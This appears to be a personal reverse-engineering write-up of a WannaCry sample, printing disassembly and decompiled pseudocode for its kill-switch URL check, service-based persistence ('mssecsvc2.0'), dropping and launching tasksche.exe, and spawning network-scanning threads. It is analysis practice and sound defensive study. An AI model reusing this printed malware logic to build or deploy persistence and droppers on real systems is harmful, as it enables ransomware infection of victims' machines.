Today’s sample sample.exe was picked, because i wanted to force myself to dig into some assembly. The last two analyses were a lot of Powershell and the staged binaries were obscured to a point where reverse engineering them wasn’t feasible anymore.
Before starting to dig into the file i started out collecting some basic information about the sample.
file sample.exe
sample.exe: PE32+ executable (DLL) (console) x86-64, for MS Windows, 6 sections
peframe sample.exe (shortened)
imagebase 0x180000000 *
entrypoint 0x15ec
sections .rdata, .data, .pdata, .rsrc, .reloc, .text *
export [{'offset': 6442455460, 'function': 'PlayGame'}]
contains URL: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
--------------------------------------------------- File ---------------------------------------------------
mssecsvc.exe Executable
...
tasksche.exe Executable
...
The first thing i did was check the entrypoint and understand the control flow that it followed.

When i think about it now i shouldn’t have wasted so much time on it. For future projects i will make sure to invest more time in a good first look and evaluate if the section could contain actual malicious code. There were some sections that looked suspicious but i really didn’t need to go through every single instruction.
After making sure that DllMain itself was clean and also checking every function call it made i remembered that i was actually looking at a Dll and not at an executable. So i went to check the export. PlayGame.
PlayGame();
0x1800011a4 sub rsp, 0x28
0x1800011a8 lea r9, [str.mssecsvc.exe] ; 0x1800092d0
0x1800011af lea r8, [str.WINDOWS] ; 0x1800092c8
0x1800011b6 lea rdx, [str.C:__s__s] ; 0x1800092b8
0x1800011bd lea rcx, [0x18000d2a0]
0x1800011c4 call fcn.1800012dc ; fcn.1800012dc
0x1800011c9 call sub.KERNEL32.dll_FindResourceA_180001014 ; sub.KERNEL32.dll_FindResourceA_180001014
0x1800011ce call sub.KERNEL32.dll_CreateProcessA_1800010f8 ; sub.KERNEL32.dll_CreateProcessA_1800010f8
0x1800011d3 xor eax, eax
0x1800011d5 add rsp, 0x28
0x1800011d9 ret
0x1800011da int3
0x1800011db int3
0x1800011dc int3
0x1800011dd int3
0x1800011de int3
0x1800011df int3
0x1800011e0 int3
0x1800011e1 int3
0x1800011e2 int3
0x1800011e3 int3
0x1800011e4 int3
0x1800011e5 int3
0x1800011e6 nop word [rax + rax]
The first functioncall just merges the two strings str.mssecsvc.exe and str.WINDOWS. It then runs a FindResource Wrapper and a Create Process Wrapper.
I already knew the filename, because peframe showed the sample contained this file. But i wasn’t sure on how to extract it. I tried to extract the .rsrc section with 7z, but i was irritated because i could only find a file called 101 that just seemed to be raw bytes.
So i resorted to checking the actual Wrapper FindResourceA_1800012dc, to make sure i dont run into the next rabbithole.
sub.KERNEL32.dll_FindResourceA_180001014(int64_t arg_28h);
; var int64_t var_28h @ stack - 0x28
; var int64_t var_20h @ stack - 0x20
; var int64_t var_8h @ stack + 0x8
; var int64_t var_10h @ stack + 0x10
; var int64_t var_18h @ stack + 0x18
; arg int64_t arg_28h @ stack + 0x28
0x180001014 mov qword [var_10h], rbx
0x180001019 mov qword [var_18h], rsi
0x18000101e push rdi
0x18000101f sub rsp, 0x40
0x180001023 mov rcx, qword [0x18000d3a8]
0x18000102a lea r8, [0x1800092b0]
0x180001031 mov edx, 0x65 ; 'e' ; 101
0x180001036 call qword [FindResourceA] ; 0x180009030
...
The Wrapper actually uses the 101 tag for the loaded file.
0x180001031 mov edx, 0x65 ; 'e' ; 101
But the file still wasn’t recognised as any regular filetype. I knew there was no form of encryption, because the Wrapper wasn’t performing anything special on the raw bytes, it also wasn’t unpacking anything. So i checked the magic bytes at the beginning of the file.
hd -n 32 extracted.dat
00000000 00 d0 38 00 4d 5a 90 00 03 00 00 00 04 00 00 00 |..8.MZ..........|
00000010 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 |............@...|
00000020
There is the problem, the file seems to start 4 bytes after the start of the file i extracted. MZ or 4d 5a are the magic bytes belonging to a dll or exe.
After cutting the first four bytes of the file, it gets recognized and i can proceed with my analysis.
Now this second time i wasn’t going to do the same mistake again and started out by just skimming the entrypoint function and saw it made a call out to main. My first step was to examine this function.
#include <stdint.h>
int32_t main (void) {
int32_t var_64h;
int32_t var_50h;
int32_t var_17h;
int32_t var_13h;
int32_t var_fh;
int32_t var_bh;
int32_t var_7h;
int32_t var_3h;
int32_t var_1h;
ecx = 0xe;
esi = "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com";
edi = &var_50h;
eax = 0;
do {
*(es:edi) = *(esi);
ecx--;
esi += 4;
es:edi += 4;
} while (ecx != 0);
*(es:edi) = *(esi);
esi++;
es:edi++;
eax = InternetOpenA (eax, 1, eax, eax, eax, eax, eax, eax, ax, al);
ecx = &var_64h;
esi = eax;
eax = InternetOpenUrlA (esi, ecx, 0, 0, 0x84000000, 0);
edi = eax;
esi = imp.InternetCloseHandle;
void (*esi)() ();
void (*esi)(uint32_t) (0);
eax = fcn_00408090 ();
eax = 0;
return eax;
}
Now there it is. The famous kill switch URL. When the connection fails it executes, if not it stops.
So i work my way along the execution path. The next step seems to be a function called fcn.00408090.
#include <stdint.h>
uint32_t fcn_00408090 (void) {
const char * var_3ch;
const char * var_38h;
int32_t var_34h;
int32_t var_30h;
int32_t var_2ch;
const char * lpServiceStartTable;
int32_t var_24h;
int32_t var_20h;
int32_t var_1ch;
GetModuleFileNameA (0, data.0070f760, 0x104);
eax = p_argc ();
if (*(eax) < 2) {
fcn_00407f20 ();
return eax;
}
... // next section
}
The first interesting thing is the if Block
if (*(eax) < 2) {
fcn_00407f20 ();
return eax;
}
If the program is executed via the CreateProcessA from the sample dll, it is run without any arguments.
It runs:
#include <stdint.h>
uint32_t fcn_00407f20 (void) {
fcn_00407c40 ();
eax = fcn_00407ce0 ();
eax = 0;
return eax;
}
Which itself first runs.
#include <stdint.h>
uint32_t fcn_00407c40 (void) {
LPCSTR lpBinaryPathName;
eax = esp;
sprintf (eax, "%s -m security", data.0070f760, edi);
eax = OpenSCManagerA (0, 0, 0xf003f);
edi = eax;
if (edi != 0) {
ecx = &lpBinaryPathName;
eax = CreateServiceA (edi, "mssecsvc2.0", "Microsoft Security Center (2.0) Service", 0xf01ff, 0x10, 2, 1, ecx, 0, 0, 0, 0, 0, esi, ebx);
ebx = imp.CloseServiceHandle;
esi = eax;
if (esi != 0) {
StartServiceA (esi, 0, 0);
void (*ebx)(uint32_t) (esi);
}
eax = void (*ebx)(uint32_t) (edi);
eax = 0;
return eax;
}
eax = 0;
return eax;
}
This function implements persistence. It registers the malware as a Windows Service via the ServiceControleManager OpenSCManagerA.
The second function it calls is this one.
#include <stdint.h>
uint32_t fcn_00407ce0 (void) {
int32_t var_30ch;
int32_t var_304h;
int32_t var_2e0h;
int32_t var_2dch;
int32_t var_2d8h;
int32_t var_2d4h;
int32_t var_2d0h;
int32_t var_2cch;
int32_t var_2a4h;
int32_t var_2a0h;
LPVOID var_29ch;
int32_t var_28ch;
int32_t var_258h;
LPCSTR lpExistingFileName;
LPCSTR lpNewFileName;
eax = GetModuleHandleW ("kernel32.dll", edi, esi, ebp);
esi = eax;
ebx = 0;
if (esi == ebx) {
goto label_0;
}
edi = imp.GetProcAddress;
eax = void (*edi)(uint32_t, char*) (esi, "CreateProcessA");
*(data.00431478) = eax;
eax = void (*edi)(uint32_t, char*) (esi, "CreateFileA");
*(data.00431458) = eax;
eax = void (*edi)(uint32_t, char*) (esi, "WriteFile");
*(data.00431460) = eax;
eax = void (*edi)(uint32_t, char*) (esi, "CloseHandle");
ecx = *(data.00431478);
*(data.0043144c) = eax;
if (ecx == ebx) {
goto label_0;
}
if (*(data.00431458) == ebx) {
goto label_0;
}
if (*(data.00431460) == ebx) {
goto label_0;
}
if (eax == ebx) {
goto label_0;
}
eax = FindResourceA (ebx, 0x727, data.0043137c);
esi = eax;
if (esi == ebx) {
goto label_0;
}
eax = LoadResource (ebx, esi);
if (eax == ebx) {
goto label_0;
}
eax = LockResource (eax);
var_29ch = eax;
if (eax == ebx) {
goto label_0;
}
eax = SizeofResource (ebx, esi);
if (ebp == ebx) {
goto label_0;
}
ecx = 0x40;
eax = 0;
edi = lpExistingFileName + 0x1;
memset (edi, eax, ecx);
*(es:edi) = ax;
es:edi += 2;
*(es:edi) = al;
es:edi++;
ecx = 0x40;
eax = 0;
edi = lpNewFileName + 0x1;
memset (edi, eax, ecx);
esi = imp.sprintf;
*(es:edi) = ax;
es:edi += 2;
*(es:edi) = al;
es:edi++;
eax = &lpExistingFileName;
void (*esi)(uint32_t, uint32_t, uint32_t, char*) (eax, bl, bl, "tasksche.exe");
ecx = &lpNewFileName;
void (*esi)(uint32_t, char*, char*) (ecx, "C:\%s\qeriuwjhrf", "WINDOWS");
edx = &lpNewFileName;
eax = &lpExistingFileName;
MoveFileExA (eax, edx, 1);
ecx = &var_258h;
eax = uint32_t (*data.00431458)(uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t) (ecx, 0x40000000, ebx, ebx, 2, 4, ebx);
esi = eax;
if (esi == -1) {
goto label_0;
}
eax = var_2cch;
edx = &var_2cch;
uint32_t (*data.00431460)(uint32_t, uint32_t, uint32_t, uint32_t) (esi, eax, ebp, edx);
eax = uint32_t (*data.0043144c)(uint32_t) (esi);
ecx = 0;
eax = 0;
var_2dch = ecx;
edi = &var_2cch;
var_2d8h = ecx;
edx = &var_28ch;
var_2d4h = ecx;
ecx = 0x10;
memset (edi, eax, ecx);
edi = data.00431340;
ecx |= 0xffffffff;
__asm ("repne scasb al, byte es:[edi]");
ecx = ~ecx;
edi -= ecx;
var_2e0h = ebx;
esi = edi;
edi = edx;
ecx |= 0xffffffff;
__asm ("repne scasb al, byte es:[edi]");
ecx = ebp;
edi--;
ecx >>= 2;
do {
*(es:edi) = *(esi);
ecx--;
esi += 4;
es:edi += 4;
} while (ecx != 0);
ecx = ebp;
eax = &var_2e0h;
ecx &= 3;
*(es:edi) = *(esi);
ecx--;
esi++;
es:edi++;
ecx = &var_2d0h;
edx = &var_28ch;
eax = uint32_t (*data.00431478)(uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t) (ebx, edx, ebx, ebx, ebx, 0x8000000, ebx, ebx, ecx, 0x44, bx, 0x81);
if (eax != 0) {
eax = var_304h;
uint32_t (*data.0043144c)(uint32_t) (eax);
ecx = var_30ch;
eax = uint32_t (*data.0043144c)(uint32_t) (ecx);
}
label_0:
eax = 0;
return eax;
}
Now this block does a lot. The first section is exporting the function pointers for a range of Windows Functions from kernel32.dll. The second section finds and loads binary data from address 0x727. These get saved into tasksche.exe. To write and create Files it uses the function pointer it exported earlier. tasksche.exe then gets executed.
When the programm is run with arguments, for example by the Service Manager with -m, it passes the if block and proceeds.
eax = OpenSCManagerA (0, 0, 0xf003f, edi);
edi = eax;
if (edi != 0) {
eax = OpenServiceA (edi, "mssecsvc2.0", 0xf01ff, esi, ebx);edi = eax;
if (edi != 0) {
eax = OpenServiceA (edi, "mssecsvc2.0", 0xf01ff, esi, ebx);
ebx = imp.CloseServiceHandle;
esi = eax;
if (esi != 0) {
fcn_00407fa0 (esi, 0x3c);
void (*ebx)(uint32_t) (esi);
}
void (*ebx)(uint32_t) (edi);
}
eax = &lpServiceStartTable;
StartServiceCtrlDispatcherA (eax, "mssecsvc2.0", data.00408000, 0, 0);
return eax;
ebx = imp.CloseServiceHandle;
esi = eax;
if (esi != 0) {
fcn_00407fa0 (esi, 0x3c);
void (*ebx)(uint32_t) (esi);
}
void (*ebx)(uint32_t) (edi);
}
eax = &lpServiceStartTable;
StartServiceCtrlDispatcherA (eax, "mssecsvc2.0", data.00408000, 0, 0);
return eax;
This block ensures the Service is running and has the correct permissions set. It also runs fcn_00407fa0, wich changes the Service Config.
Also we can take from this block that the actual Worker sits at 00408000, because this is the address the malware gives to the ServiceManager to use.
;-- data.00408000:
0x00408000 push esi
0x00408001 xor esi, esi
0x00408003 push 0x407f30
0x00408008 push str.mssecsvc2.0 ; 0x4312fc
0x0040800d mov dword [0x431430], 0x20
0x00408017 mov dword [0x431434], 2
0x00408021 mov dword [0x431438], 1
0x0040802b mov dword [0x43143c], esi
0x00408031 mov dword [0x431440], esi
0x00408037 mov dword [0x431444], esi
0x0040803d mov dword [0x431448], esi
0x00408043 call dword [RegisterServiceCtrlHandlerA] ; 0x40a004
0x00408049 cmp eax, esi
0x0040804b mov dword [0x43145c], eax
0x00408050 je 0x40808c
0x00408052 push 0x431430
0x00408057 push eax
0x00408058 mov dword [0x431434], 4
0x00408062 mov dword [0x431444], esi
0x00408068 mov dword [0x431448], esi
0x0040806e call dword [SetServiceStatus] ; 0x40a00c
0x00408074 call fcn.00407bd0 ; fcn.00407bd0
0x00408079 push 0x5265c00
0x0040807e call dword [Sleep] ; 0x40a0a4 ; VOID Sleep(DWORD dwMilliseconds)
0x00408084 push 1 ; 1
0x00408086 call dword [ExitProcess] ; 0x40a068 ; VOID ExitProcess(UINT uExitCode)
0x0040808c pop esi
0x0040808d ret 8
This register a Service Control Handler and sets the Status to running. The Worker then calls fcn.00407bd0 and sleeps for 24h.

First function call calls WS2_32.dll_WSAStartup to check if Winsocket works, if it fails immediately return.
If the check returns successful, start a new thread on the Thread Entry Point 0x00407720, then sleep.
The next section is a loop, that creates 128 parallel threads, with the target routine 0x00407840.
I started to dig into the first Thread Routine. It contains Function calls to Adapter Information and other network related stuff, this seems to be the local network enumeration. Maybe i will look into this in the future, but for today i have had enough assembly. This analysis goal was not to understand every single step of WannaCry and document it, but simply practice reverse engineering. Which i think i achieved.
This seems to be the actual Ransomware part. Maybe a task for another day.